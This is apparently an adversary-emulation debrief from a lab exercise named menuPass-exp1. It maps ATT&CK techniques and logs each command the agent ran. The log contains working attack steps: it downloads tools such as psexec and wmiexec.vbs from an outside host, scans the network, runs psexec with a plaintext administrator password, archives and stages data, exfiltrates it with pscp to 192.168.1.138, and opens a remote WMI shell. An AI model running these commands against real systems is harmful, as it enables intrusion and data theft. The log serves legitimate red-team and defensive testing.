OPERATIONS DEBRIEF

TACTICS AND TECHNIQUES

Tactics	Techniques	Abilities
Collection	T1560.001: Archive Collected Data - Archive via Utility T1074.001: Local Data Staging	menuPass-exp1 Archive Collected Data - Archive via Utility Recycle Bin Staging
Discovery	T000.00: Creating c:\programdata\temp T1105: Ingress Tool Transfer T1135: Network Share Discovery T1018: Remote System Discovery T1046: Network Service Scanning T1016: System Network Configuration Discovery	menuPass-exp1 ProgramData-Temp-Creation Ingress Tool Transfer Network Share Discovery Remote System Discovery Network Service Scanning System Network Configuration Discovery
Execution	T1047: Windows Management Instrumentation	menuPass-exp1 Windows Management Instrumentation
Exfiltration	T1537: Transfer Data to Cloud Account	menuPass-exp1 Transfer Data to Cloud Account
Lateral-movement	T1569.002: System Services: Service Execution	menuPass-exp1 Service Execution

STEPS IN OPERATION MENUPASS-EXP1

The table below shows detailed information about the steps taken in an operation and whether the command run discovered any facts.

Time	Status	Agent	Name	Command	Facts
2024-01-16T16:58:42Z	success	okheax	ProgramData-Temp-Creation	if (-not (Test-Path -Path C:\ProgramData\Temp -PathType COntainer)) { New-Item -Path C:\ProgramData\Temp -ItemType Directory -Force}	No
2024-01-16T16:59:22Z	success	okheax	Ingress Tool Transfer	Start-BitsTransfer -Source "http://192.168.1.138:8000/tcping.exe","http://192.168.1.138:8000/nbtscan.exe","http://192.168.1.138:8000/netsess.exe","http://192.168.1.138:8000/psexec.exe","http://192.168.1.138:8000/rar.exe","http://192.168.1.138:8000/pscp.exe","http://192.168.1.138:8000/wmiexec.vbs" -Destination "C:\Windows\Temp\tcping.exe", "C:\Windows\Temp\nbtscan.exe","C:\Windows\Temp\netsess.exe","C:\Windows\Temp\psexe.exe","C:\Windows\Temp\rar.exe","C:\Windows\Temp\pscp.exe","C:\Windows\Temp\wmiexec.vbs"	No
2024-01-16T17:00:08Z	success	okheax	Network Share Discovery	net use	No

OPERATIONS DEBRIEF

Time	Status	Agent	Name	Command	Facts
2024-01-16 T17:01:21Z	success	okheax	Remote System Discovery	net view /domain	No
2024-01-16 T17:01:52Z	success	okheax	Remote System Discovery	Test-NetConnection "192.0.2.10"	Yes
2024-01-16 T17:02:49Z	success	okheax	Network Service Scanning	C:\Windows\Temp\tcping.exe "192.0.2.10" "445"	Yes
2024-01-16 T17:03:45Z	success	okheax	System Network Configuration Discovery	"C:\Windows\Temp\nbtscan.exe" 192.0.2.34/24	No
2024-01-16 T17:04:53Z	success	okheax	System Network Configuration Discovery	"C:\Windows\Temp\netsess.exe" 192.0.2.10	Yes
2024-01-16 T17:05:18Z	success	okheax	Service Execution	"C:\Windows\Temp\psexec.exe" "Administrator":"badpassword123"@"192.0.2.10" "-c^d.exe"	No
2024-01-16 T17:06:06Z	success	okheax	Archive Collected Data - Archive via Utility	rar.exe a "ss.rar" "C:\Windows\Temp"	No
2024-01-16 T17:07:10Z	success	okheax	Recycle Bin Staging	Copy-Item -Path "C:\Users\sisl\Desktop\ss.rar" -Destination "C:\$Recycle.Bin"	No
2024-01-16 T17:07:58Z	success	okheax	Transfer Data to Cloud Account	C:\Windows\Temp\pscp.exe -pw calderavm2023 C:\Users\sisl\Desktop\ss.rar claderavm@192.168.1.138:/home/claderavm/Desktop/exfil/	No
2024-01-16 T17:08:52Z	success	okheax	Windows Management Instrumentation	cscript.exe "C:\Windows\Temp\wmiexec.vbs" /shell "192.0.2.10"	No